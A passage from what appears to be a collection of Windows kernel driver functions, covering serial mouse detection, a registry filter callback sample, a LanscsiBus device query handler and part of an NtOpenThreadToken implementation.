(!NT_SUCCESS(Status)) goto ByeBye; if (TotalBytesReceived == 0) Status = STATUS_DEVICE_NOT_CONNECTED; else Status = STATUS_SUCCESS; goto ByeBye; /* 9. Disconnect idle */ DisconnectIdle: TRACE_(SERENUM, "Disconnect idle\n"); /* FIXME: report to OS device removal, if it was present */ Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_CLR_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; BaudRate = 300; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE, &BaudRate, sizeof(BaudRate), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Lcr.WordLength = 7; Lcr.Parity = NO_PARITY; Lcr.StopBits = STOP_BIT_1; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL, &Lcr, sizeof(Lcr), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = STATUS_DEVICE_NOT_CONNECTED; ByeBye: /* Close port */ if (Handle) ZwClose(Handle); return Status; }
NTSTATUS CallbackCapture( _In_ PCALLBACK_CONTEXT CallbackCtx, _In_ REG_NOTIFY_CLASS NotifyClass, _Inout_ PVOID Argument2 ) /*++ Routine Description: This helper callback routine shows how to capture a buffer and a unicode string with the name of a value. The bulk of the work is down in the helper capture routines: CaptureBuffer and CaptureUnicodeString. In the pre-notification phase, we bypass the set value and delete value operations and complete them manually by calling ZwSetValueKey and ZwDeleteValueKey. Arguments: CallbackContext - The value that the driver passed to the Context parameter of CmRegisterCallbackEx when it registers this callback routine. NotifyClass - A REG_NOTIFY_CLASS typed value that identifies the type of registry operation that is being performed and whether the callback is being called in the pre or post phase of processing. Argument2 - A pointer to a structure that contains information specific to the type of the registry operation. The structure type depends on the REG_NOTIFY_CLASS value of Argument1. Return Value: NTSTATUS --*/ { NTSTATUS Status = STATUS_SUCCESS; PREG_SET_VALUE_KEY_INFORMATION PreSetValueInfo; PREG_DELETE_VALUE_KEY_INFORMATION PreDeleteValueInfo; HANDLE RootKey = NULL; PVOID LocalData = NULL; PVOID Data = NULL; UNICODE_STRING LocalValueName = {0}; PUNICODE_STRING ValueName = NULL; KPROCESSOR_MODE Mode = KernelMode; UNREFERENCED_PARAMETER(CallbackCtx); switch(NotifyClass) { case RegNtPreSetValueKey: PreSetValueInfo = (PREG_SET_VALUE_KEY_INFORMATION) Argument2; // // REG_SET_VALUE_KEY_INFORMATION is a partially captured structure. // The value name is captured but the data is not. Since we are // passing the data to a zw* method, we need to capture it. // // *Note: as of win8, the data buffer is captured as well // by the registry. // Mode = ExGetPreviousMode(); if (!g_IsWin8OrGreater && (Mode == UserMode)) { Status = CaptureBuffer(&LocalData, PreSetValueInfo->Data, PreSetValueInfo->DataSize, REGFLTR_CAPTURE_POOL_TAG); if (!NT_SUCCESS(Status)) { break; } Data = LocalData; } else { Data = PreSetValueInfo->Data; } // // Get a handle to the root key the value is being created under. // This is in PreInfo->Object. // Status = ObOpenObjectByPointer(PreSetValueInfo->Object, OBJ_KERNEL_HANDLE, NULL, KEY_ALL_ACCESS, NULL, KernelMode, &RootKey); if (!NT_SUCCESS (Status)) { ErrorPrint("ObObjectByPointer failed. Status 0x%x", Status); break; } // // Set the value. // Status = ZwSetValueKey(RootKey, PreSetValueInfo->ValueName, 0, PreSetValueInfo->Type, Data, PreSetValueInfo->DataSize); if(!NT_SUCCESS(Status)) { ErrorPrint("ZwSetValue in CallbackModify failed. Status 0x%x", Status); ZwClose(RootKey); break; } // // Finally return STATUS_CALLBACK_BYPASS to tell the registry // not to proceed with the original registry operation and to return // STATUS_SUCCESS to the caller. // InfoPrint("\tCallback: Set value %wZ bypassed.", PreSetValueInfo->ValueName); Status = STATUS_CALLBACK_BYPASS; ZwClose(RootKey); break; case RegNtPreDeleteValueKey: PreDeleteValueInfo = (PREG_DELETE_VALUE_KEY_INFORMATION) Argument2; // // REG_DELETE_VALUE_KEY_INFORMATION is a partially captured // structure. The value name's buffer is not captured. Since we are // passing the name to a zw* method, we need to capture it. // // *Note: as of Win8, the data buffer is captured already // by the registry. // Mode = ExGetPreviousMode(); if (!g_IsWin8OrGreater && (Mode == UserMode)) { Status = CaptureUnicodeString(&LocalValueName, PreDeleteValueInfo->ValueName, REGFLTR_CAPTURE_POOL_TAG); if (!NT_SUCCESS(Status)) { break; } ValueName = &LocalValueName; } else { ValueName = PreDeleteValueInfo->ValueName; } // // Get a handle to the root key the value is being created under. // This is in PreInfo->Object. // Status = ObOpenObjectByPointer(PreDeleteValueInfo->Object, OBJ_KERNEL_HANDLE, NULL, KEY_ALL_ACCESS, NULL, KernelMode, &RootKey); if (!NT_SUCCESS (Status)) { ErrorPrint("ObObjectByPointer failed. Status 0x%x", Status); break; } // // Set the value. // Status = ZwDeleteValueKey(RootKey, ValueName); if(!NT_SUCCESS(Status)) { ErrorPrint("ZwDeleteValue failed. Status 0x%x", Status); ZwClose(RootKey); break; } // // Finally return STATUS_CALLBACK_BYPASS to tell the registry // not to proceed with the original registry operation and to return // STATUS_SUCCESS to the caller. // InfoPrint("\tCallback: Delete value %S bypassed.", ValueName->Buffer); Status = STATUS_CALLBACK_BYPASS; ZwClose(RootKey); break; default: // // Do nothing for other notifications // break; } // // Free buffers used for capturing user mode values. // if (LocalData != NULL){ FreeCapturedBuffer(LocalData, REGFLTR_CAPTURE_POOL_TAG); } if (LocalValueName.Buffer != NULL) { FreeCapturedUnicodeString(&LocalValueName, REGFLTR_CAPTURE_POOL_TAG); } return Status; }
// // Query information on LanscsiBus // NTSTATUS LSBus_QueryInformation( PFDO_DEVICE_DATA FdoData, PBUSENUM_QUERY_INFORMATION Query, PBUSENUM_INFORMATION Information, LONG OutBufferLength, PLONG OutBufferLenNeeded ) { NTSTATUS ntStatus; PLIST_ENTRY entry; PPDO_DEVICE_DATA PdoData; ntStatus = STATUS_SUCCESS; *OutBufferLenNeeded = OutBufferLength; PdoData = NULL; // // Acquire the mutex to prevent PdoData ( Device Extension ) to disappear. // KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); switch(Query->InfoClass) { case INFORMATION_NUMOFPDOS: { ULONG NumOfPDOs; NumOfPDOs = 0; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { NumOfPDOs ++; } Information->NumberOfPDOs = NumOfPDOs; break; } case INFORMATION_PDO: { KIRQL oldIrql; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } if(PdoData) { KeAcquireSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, &oldIrql); Bus_KdPrint_Def(BUS_DBG_SS_TRACE, ("Status:%08lx DAcc:%08lx GAcc:%08lx\n", PdoData->LanscsiAdapterPDO.AdapterStatus, PdoData->LanscsiAdapterPDO.DesiredAccess, PdoData->LanscsiAdapterPDO.GrantedAccess )); Information->PdoInfo.AdapterStatus = PdoData->LanscsiAdapterPDO.AdapterStatus; Information->PdoInfo.DesiredAccess = PdoData->LanscsiAdapterPDO.DesiredAccess; Information->PdoInfo.GrantedAccess = PdoData->LanscsiAdapterPDO.GrantedAccess; KeReleaseSpinLock(&PdoData->LanscsiAdapterPDO.LSDevDataSpinLock, oldIrql); ObDereferenceObject(PdoData->Self); } else { Bus_KdPrint_Def(BUS_DBG_SS_NOISE, ("No PDO for SlotNo %d!\n", Query->SlotNo)); ntStatus = STATUS_NO_SUCH_DEVICE; } break; } case INFORMATION_PDOENUM: { LARGE_INTEGER TimeOut; ULONG resultLength; DEVICE_INSTALL_STATE deviceInstallState; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } ExReleaseFastMutex (&FdoData->Mutex); KeLeaveCriticalRegion(); if(!PdoData) { KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); ntStatus = STATUS_NO_SUCH_DEVICE; break; } // // Wait until LDServ sends AddTargetData. // Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("waiting for AddTargetEvent.\n")); TimeOut.QuadPart = -10 * 1000 * 1000 * 120; // 120 seconds ntStatus = KeWaitForSingleObject( &PdoData->LanscsiAdapterPDO.AddTargetEvent, Executive, KernelMode, FALSE, &TimeOut ); if(ntStatus != STATUS_SUCCESS) { KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("failed to wait for AddTargetEvent.\n")); ntStatus = STATUS_NO_SUCH_DEVICE; ObDereferenceObject(PdoData->Self); break; } Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Completed to wait for AddTargetEvent.\n")); if(PdoData) { if(PdoData->LanscsiAdapterPDO.Flags & LSDEVDATA_FLAG_LURDESC) { // // A LUR descriptor is set. // if(PdoData->LanscsiAdapterPDO.AddDevInfo == NULL) { KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); ntStatus = STATUS_NO_SUCH_DEVICE; ObDereferenceObject(PdoData->Self); break; } *OutBufferLenNeeded = FIELD_OFFSET(BUSENUM_INFORMATION, PdoEnumInfo) + FIELD_OFFSET(BUSENUM_INFORMATION_PDOENUM, AddDevInfo) + PdoData->LanscsiAdapterPDO.AddDevInfoLength; if(OutBufferLength < *OutBufferLenNeeded) { ntStatus = STATUS_BUFFER_TOO_SMALL; } else { RtlCopyMemory( &Information->PdoEnumInfo.AddDevInfo, PdoData->LanscsiAdapterPDO.AddDevInfo, PdoData->LanscsiAdapterPDO.AddDevInfoLength ); Information->PdoEnumInfo.Flags = PDOENUM_FLAG_LURDESC; Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService; Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService; Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest; // // Check to see if this is the first enumeration. // ntStatus = DrGetDeviceProperty( PdoData->Self, DevicePropertyInstallState, sizeof(deviceInstallState), &deviceInstallState, &resultLength, (Globals.MajorVersion == 5) && (Globals.MinorVersion == 0) ); if(NT_SUCCESS(ntStatus)) { if(deviceInstallState != InstallStateInstalled) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("First time installation. Do not enumerate a device.\n")); Information->PdoEnumInfo.Flags |= PDOENUM_FLAG_DRV_NOT_INSTALLED; } } } } else { // // ADD_TARGET_DATA is set. // PLANSCSI_ADD_TARGET_DATA AddTargetData; LONG AddTargetLenNeeded; LONG InfoBuffLenNeeded; AddTargetData = PdoData->LanscsiAdapterPDO.AddDevInfo; if(AddTargetData == NULL) { KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); ntStatus = STATUS_NO_SUCH_DEVICE; ObDereferenceObject(PdoData->Self); break; } // // calculate the length needed. // AddTargetLenNeeded = sizeof(LANSCSI_ADD_TARGET_DATA) + (AddTargetData->ulNumberOfUnitDiskList-1)*sizeof(LSBUS_UNITDISK); InfoBuffLenNeeded = sizeof(BUSENUM_INFORMATION) - sizeof(BYTE) + (AddTargetLenNeeded); *OutBufferLenNeeded = InfoBuffLenNeeded; if(OutBufferLength < InfoBuffLenNeeded) { ntStatus = STATUS_BUFFER_TOO_SMALL; } else { RtlCopyMemory(&Information->PdoEnumInfo.AddDevInfo, AddTargetData, AddTargetLenNeeded); Information->PdoEnumInfo.Flags = 0; Information->PdoEnumInfo.DisconEventToService = PdoData->LanscsiAdapterPDO.DisconEventToService; Information->PdoEnumInfo.AlarmEventToService = PdoData->LanscsiAdapterPDO.AlarmEventToService; Information->PdoEnumInfo.MaxBlocksPerRequest = PdoData->LanscsiAdapterPDO.MaxBlocksPerRequest; // // Check to see if this is the first enumeration. // ntStatus = DrGetDeviceProperty( PdoData->Self, DevicePropertyInstallState, sizeof(deviceInstallState), &deviceInstallState, &resultLength, (Globals.MajorVersion == 5) && (Globals.MinorVersion == 0) ); if(NT_SUCCESS(ntStatus)) { if(deviceInstallState != InstallStateInstalled) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("First time installation. Do not enumerate a device.\n")); Information->PdoEnumInfo.Flags |= PDOENUM_FLAG_DRV_NOT_INSTALLED; } } else { ntStatus = STATUS_SUCCESS; Information->PdoEnumInfo.Flags &= ~PDOENUM_FLAG_DRV_NOT_INSTALLED; } } } } else { ntStatus = STATUS_NO_SUCH_DEVICE; } KeEnterCriticalRegion(); ExAcquireFastMutex (&FdoData->Mutex); ObDereferenceObject(PdoData->Self); break; } case INFORMATION_PDOEVENT: { for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } if(PdoData == NULL) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not find the PDO:%u.\n", Query->SlotNo)); ntStatus = STATUS_NO_SUCH_DEVICE; break; } if( Query->Flags & LSBUS_QUERYFLAG_USERHANDLE) { Information->PdoEvents.SlotNo = PdoData->SlotNo; Information->PdoEvents.Flags = LSBUS_QUERYFLAG_USERHANDLE; // // Get user-mode event handles. // ntStatus = ObOpenObjectByPointer( PdoData->LanscsiAdapterPDO.DisconEventToService, 0, NULL, EVENT_ALL_ACCESS, *ExEventObjectType, UserMode, &Information->PdoEvents.DisconEvent ); if(!NT_SUCCESS(ntStatus)) { ObDereferenceObject(PdoData->Self); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n")); break; } ntStatus = ObOpenObjectByPointer( PdoData->LanscsiAdapterPDO.AlarmEventToService, 0, NULL, EVENT_ALL_ACCESS, *ExEventObjectType, UserMode, &Information->PdoEvents.AlarmEvent ); if(!NT_SUCCESS(ntStatus)) { ObDereferenceObject(PdoData->Self); Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open Disconnect event object!!\n")); break; } } else { Information->PdoEvents.SlotNo = PdoData->SlotNo; Information->PdoEvents.Flags = 0; Information->PdoEvents.DisconEvent = PdoData->LanscsiAdapterPDO.DisconEventToService; Information->PdoEvents.AlarmEvent = PdoData->LanscsiAdapterPDO.AlarmEventToService; } ObDereferenceObject(PdoData->Self); break; } case INFORMATION_ISREGISTERED: { ASSERT(KeGetCurrentIrql() == PASSIVE_LEVEL); ntStatus = LSBus_IsRegistered(FdoData, Query->SlotNo); break; } case INFORMATION_PDOSLOTLIST: { LONG outputLength; LONG entryCnt; if(OutBufferLength < FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList)) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Buffer size is less than required\n")); ntStatus = STATUS_INVALID_PARAMETER; break; } Information->Size = 0; Information->InfoClass = INFORMATION_PDOSLOTLIST; // // Add the size of information header. // outputLength = FIELD_OFFSET(BUSENUM_INFORMATION, PdoSlotList); outputLength += sizeof(UINT32); // SlotNoCnt entryCnt = 0; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); // // Add the size of each slot entry. // outputLength += sizeof(UINT32); if(outputLength > OutBufferLength) { continue; } Information->PdoSlotList.SlotNo[entryCnt] = PdoData->SlotNo; Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry #%u: %u\n", entryCnt, PdoData->SlotNo)); entryCnt ++; } if(outputLength > OutBufferLength) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Could not find a Device(%d).\n", Query->SlotNo)); *OutBufferLenNeeded = outputLength; ntStatus = STATUS_BUFFER_TOO_SMALL; } else { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("PDOSLOTLIST: Entry count:%d.\n", entryCnt)); Information->Size = outputLength; Information->PdoSlotList.SlotNoCnt = entryCnt; *OutBufferLenNeeded = outputLength; } break; } case INFORMATION_PDOFILEHANDLE: { PWCHAR devName; USHORT devNameLen; OBJECT_ATTRIBUTES objectAttr; UNICODE_STRING objName; HANDLE devFileHandle; IO_STATUS_BLOCK ioStatus; devName = NULL; for (entry = FdoData->ListOfPDOs.Flink; entry != &FdoData->ListOfPDOs; entry = entry->Flink) { PdoData = CONTAINING_RECORD(entry, PDO_DEVICE_DATA, Link); if(Query->SlotNo == PdoData->SlotNo) { ObReferenceObject(PdoData->Self); break; } PdoData = NULL; } if(PdoData == NULL) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not find the PDO:%u.\n", Query->SlotNo)); ntStatus = STATUS_NO_SUCH_DEVICE; break; } // // Get the name of the physical device object. // ntStatus = GetPhyDeviceName(PdoData->Self, &devName, &devNameLen); if(!NT_SUCCESS(ntStatus)) { ObDereferenceObject(PdoData->Self); break; } // // Build unicode name of the device. // Get rid of NULL termination from the length // objName.Buffer = devName; if(devNameLen > 0 && devName[devNameLen/sizeof(WCHAR) - 1] == L'\0') { objName.MaximumLength = devNameLen; objName.Length = devNameLen - sizeof(WCHAR); } else { objName.MaximumLength = objName.Length = devNameLen; } // // Open a device file. // if(Query->Flags & LSBUS_QUERYFLAG_USERHANDLE) { Information->PdoFile.Flags = LSBUS_QUERYFLAG_USERHANDLE; InitializeObjectAttributes(&objectAttr, &objName, OBJ_CASE_INSENSITIVE , NULL, NULL); } else { Information->PdoFile.Flags = 0; InitializeObjectAttributes(&objectAttr, &objName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL); } ntStatus = ZwCreateFile( &devFileHandle, SYNCHRONIZE|FILE_READ_DATA, &objectAttr, &ioStatus, NULL, 0, FILE_SHARE_READ|FILE_SHARE_WRITE, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0); if(!NT_SUCCESS(ntStatus)) { Bus_KdPrint_Def(BUS_DBG_SS_ERROR, ("Could not open the PDO:%u. STATUS=%08lx\n", Query->SlotNo, ntStatus)); ExFreePool(devName); ObDereferenceObject(PdoData->Self); break; } // // Set the return values // Information->PdoFile.SlotNo = PdoData->SlotNo; Information->PdoFile.PdoFileHandle = devFileHandle; if(devName) ExFreePool(devName); ObDereferenceObject(PdoData->Self); break; } default: ntStatus = STATUS_INVALID_PARAMETER; } ExReleaseFastMutex (&FdoData->Mutex); KeLeaveCriticalRegion(); return ntStatus; }
NTSTATUS SerenumDetectLegacyDevice( IN PDEVICE_OBJECT DeviceObject, IN PDEVICE_OBJECT LowerDevice) { HANDLE Handle = NULL; ULONG Fcr, Mcr; ULONG BaudRate; ULONG Command; SERIAL_TIMEOUTS Timeouts; SERIAL_LINE_CONTROL LCR; ULONG i, Count = 0; UCHAR Buffer[16]; UNICODE_STRING DeviceDescription; UNICODE_STRING DeviceId; UNICODE_STRING InstanceId; UNICODE_STRING HardwareIds; UNICODE_STRING CompatibleIds; NTSTATUS Status; TRACE_(SERENUM, "SerenumDetectLegacyDevice(DeviceObject %p, LowerDevice %p)\n", DeviceObject, LowerDevice); RtlZeroMemory(Buffer, sizeof(Buffer)); /* Open port */ Status = ObOpenObjectByPointer( LowerDevice, OBJ_KERNEL_HANDLE, NULL, 0, NULL, KernelMode, &Handle); if (!NT_SUCCESS(Status)) return Status; /* Reset UART */ TRACE_(SERENUM, "Reset UART\n"); Mcr = 0; /* MCR: DTR/RTS/OUT2 off */ Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL, &Mcr, sizeof(Mcr), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set communications parameters */ TRACE_(SERENUM, "Set communications parameters\n"); /* DLAB off */ Fcr = 0; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_FIFO_CONTROL, &Fcr, sizeof(Fcr), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set serial port speed */ BaudRate = 1200; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_BAUD_RATE, &BaudRate, sizeof(BaudRate), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set LCR */ LCR.WordLength = 7; LCR.Parity = NO_PARITY; LCR.StopBits = STOP_BITS_2; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_LINE_CONTROL, &LCR, sizeof(LCR), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Flush receive buffer */ TRACE_(SERENUM, "Flush receive buffer\n"); Command = SERIAL_PURGE_RXCLEAR; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_MODEM_CONTROL, &Command, sizeof(Command), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Wait 100 ms */ Wait(100); /* Enable DTR/RTS */ TRACE_(SERENUM, "Enable DTR/RTS\n"); Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_DTR, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_RTS, NULL, 0, NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Set timeout to 500 microseconds */ TRACE_(SERENUM, "Set timeout to 500 microseconds\n"); Timeouts.ReadIntervalTimeout = 100; Timeouts.ReadTotalTimeoutMultiplier = 0; Timeouts.ReadTotalTimeoutConstant = 500; Timeouts.WriteTotalTimeoutMultiplier = Timeouts.WriteTotalTimeoutConstant = 0; Status = DeviceIoControl(LowerDevice, IOCTL_SERIAL_SET_TIMEOUTS, &Timeouts, sizeof(Timeouts), NULL, NULL); if (!NT_SUCCESS(Status)) goto ByeBye; /* Fill the read buffer */ TRACE_(SERENUM, "Fill the read buffer\n"); Status = ReadBytes(LowerDevice, Buffer, sizeof(Buffer)/sizeof(Buffer[0]), (PVOID)&Count); if (!NT_SUCCESS(Status)) goto ByeBye; RtlInitUnicodeString(&DeviceId, L"Serenum\\Mouse"); RtlInitUnicodeString(&InstanceId, L"0000"); /* FIXME */ for (i = 0; i < Count; i++) { if (Buffer[i] == 'B') { /* Sign for Microsoft Ballpoint */ /* Hardware id: *PNP0F09 * Compatible id: *PNP0F0F, SERIAL_MOUSE */ RtlInitUnicodeString(&DeviceDescription, L"Microsoft Ballpoint device"); SerenumInitMultiSzString(&HardwareIds, "*PNP0F09", NULL); SerenumInitMultiSzString(&CompatibleIds, "*PNP0F0F", "SERIAL_MOUSE", NULL); Status = ReportDetectedDevice(DeviceObject, &DeviceDescription, &DeviceId, &InstanceId, &HardwareIds, &CompatibleIds); RtlFreeUnicodeString(&HardwareIds); RtlFreeUnicodeString(&CompatibleIds); goto ByeBye; } else if (Buffer[i] == 'M') { /* Sign for Microsoft Mouse protocol followed by button specifier */ if (i == sizeof(Buffer) - 1) { /* Overflow Error */ Status = STATUS_DEVICE_NOT_CONNECTED; goto ByeBye; } switch (Buffer[i + 1]) { case '3': /* Hardware id: *PNP0F08 * Compatible id: SERIAL_MOUSE */ RtlInitUnicodeString(&DeviceDescription, L"Microsoft Mouse with 3-buttons"); SerenumInitMultiSzString(&HardwareIds, "*PNP0F08", NULL); SerenumInitMultiSzString(&CompatibleIds, "SERIAL_MOUSE", NULL); break; default: /* Hardware id: *PNP0F01 * Compatible id: SERIAL_MOUSE */ RtlInitUnicodeString(&DeviceDescription, L"Microsoft Mouse with 2-buttons or Microsoft Wheel Mouse"); SerenumInitMultiSzString(&HardwareIds, "*PNP0F01", NULL); SerenumInitMultiSzString(&CompatibleIds, "SERIAL_MOUSE", NULL); break; } Status = ReportDetectedDevice(DeviceObject, &DeviceDescription, &DeviceId, &InstanceId, &HardwareIds, &CompatibleIds); RtlFreeUnicodeString(&HardwareIds); RtlFreeUnicodeString(&CompatibleIds); goto ByeBye; } } Status = STATUS_DEVICE_NOT_CONNECTED; ByeBye: /* Close port */ if (Handle) ZwClose(Handle); return Status; }
NTSTATUS NtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ) /*++ Routine Description: Open a token object associated with a thread and return a handle that may be used to access that token. Arguments: ThreadHandle - Specifies the thread whose token is to be opened. DesiredAccess - Is an access mask indicating which access types are desired to the token. These access types are reconciled with the Discretionary Access Control list of the token to determine whether the accesses will be granted or denied. OpenAsSelf - Is a boolean value indicating whether the access should be made using the calling thread's current security context, which may be that of a client if impersonating, or using the caller's process-level security context. A value of FALSE indicates the caller's current context should be used un-modified. A value of TRUE indicates the request should be fulfilled using the process level security context. This parameter is necessary to allow a server process to open a client's token when the client specified IDENTIFICATION level impersonation. In this case, the caller would not be able to open the client's token using the client's context (because you can't create executive level objects using IDENTIFICATION level impersonation). TokenHandle - Receives the handle of the newly opened token. Return Value: STATUS_SUCCESS - Indicates the operation was successful. STATUS_NO_TOKEN - Indicates an attempt has been made to open a token associated with a thread that is not currently impersonating a client. STATUS_CANT_OPEN_ANONYMOUS - Indicates the client requested anonymous impersonation level. An anonymous token can not be openned. --*/ { KPROCESSOR_MODE PreviousMode; NTSTATUS Status; PVOID Token; PTOKEN NewToken = NULL; BOOLEAN CopyOnOpen; BOOLEAN EffectiveOnly; SECURITY_IMPERSONATION_LEVEL ImpersonationLevel; SE_IMPERSONATION_STATE DisabledImpersonationState; BOOLEAN RestoreImpersonationState = FALSE; HANDLE LocalHandle; SECURITY_DESCRIPTOR SecurityDescriptor; OBJECT_ATTRIBUTES ObjectAttributes; PACL NewAcl = NULL; PETHREAD Thread; PETHREAD OriginalThread = NULL; PACCESS_TOKEN PrimaryToken; SECURITY_SUBJECT_CONTEXT SubjectSecurityContext; PAGED_CODE(); PreviousMode = KeGetPreviousMode(); // // Probe parameters // if (PreviousMode != KernelMode) { try { ProbeForWriteHandle(TokenHandle); } except(EXCEPTION_EXECUTE_HANDLER) { return GetExceptionCode(); } // end_try } //end_if // // Valdiate access to the thread and obtain a pointer to the // thread's token (if there is one). If successful, this will // cause the token's reference count to be incremented. // // This routine disabled impersonation as necessary to properly // honor the OpenAsSelf flag. // Status = SepOpenTokenOfThread( ThreadHandle, OpenAsSelf, ((PACCESS_TOKEN *)&Token), &OriginalThread, &CopyOnOpen, &EffectiveOnly, &ImpersonationLevel ); if (!NT_SUCCESS(Status)) { return Status; } // // The token was successfully referenced. // // // We need to create and/or open a token object, so disable impersonation // if necessary. // if (OpenAsSelf) { RestoreImpersonationState = PsDisableImpersonation( PsGetCurrentThread(), &DisabledImpersonationState ); } // // If the CopyOnOpen flag is not set, then the token can be // opened directly. Otherwise, the token must be duplicated, // and a handle to the duplicate returned. // if (CopyOnOpen) { // // Create the new security descriptor for the token. // // We must obtain the correct SID to put into the Dacl. Do this // by finding the process associated with the passed thread // and grabbing the User SID out of that process's token. // If we just use the current SubjectContext, we'll get the // SID of whoever is calling us, which isn't what we want. // Status = ObReferenceObjectByHandle( ThreadHandle, THREAD_ALL_ACCESS, PsThreadType, KernelMode, (PVOID)&Thread, NULL ); // // Verify that the handle is still pointer to the same thread\ // BUGBUG: wrong error code. // if (NT_SUCCESS(Status) && (Thread != OriginalThread)) { Status = STATUS_OBJECT_TYPE_MISMATCH; } if (NT_SUCCESS(Status)) { PrimaryToken = PsReferencePrimaryToken(Thread->ThreadsProcess); Status = SepCreateImpersonationTokenDacl( (PTOKEN)Token, PrimaryToken, &NewAcl ); PsDereferencePrimaryToken( PrimaryToken ); if (NT_SUCCESS( Status )) { if (NewAcl != NULL) { // // There exist tokens that either do not have security descriptors at all, // or have security descriptors, but do not have DACLs. In either case, do // nothing. // Status = RtlCreateSecurityDescriptor ( &SecurityDescriptor, SECURITY_DESCRIPTOR_REVISION ); ASSERT( NT_SUCCESS( Status )); Status = RtlSetDaclSecurityDescriptor ( &SecurityDescriptor, TRUE, NewAcl, FALSE ); ASSERT( NT_SUCCESS( Status )); } InitializeObjectAttributes( &ObjectAttributes, NULL, 0L, NULL, NewAcl == NULL ? NULL : &SecurityDescriptor ); // // Open a copy of the token // Status = SepDuplicateToken( (PTOKEN)Token, // ExistingToken &ObjectAttributes, // ObjectAttributes EffectiveOnly, // EffectiveOnly TokenImpersonation, // TokenType ImpersonationLevel, // ImpersonationLevel KernelMode, // RequestorMode must be kernel mode &NewToken ); if (NT_SUCCESS( Status )) { // // Reference the token so it doesn't go away // ObReferenceObject(NewToken); // // Insert the new token // Status = ObInsertObject( NewToken, NULL, DesiredAccess, 0, (PVOID *)NULL, &LocalHandle ); } } } } else { // // We do not have to modify the security on the token in the static case, // because in all the places in the system where impersonation takes place // over a secure transport (e.g., LPC), CopyOnOpen is set. The only reason // we'be be here is if the impersonation is taking place because someone did // an NtSetInformationThread and passed in a token. // // In that case, we absolutely do not want to give the caller guaranteed // access, because that would allow anyone who has access to a thread to // impersonate any of that thread's clients for any access. // // // Open the existing token // Status = ObOpenObjectByPointer( (PVOID)Token, // Object 0, // HandleAttributes NULL, // AccessState DesiredAccess, // DesiredAccess SepTokenObjectType, // ObjectType PreviousMode, // AccessMode &LocalHandle // Handle ); } if (NewAcl != NULL) { ExFreePool( NewAcl ); } if 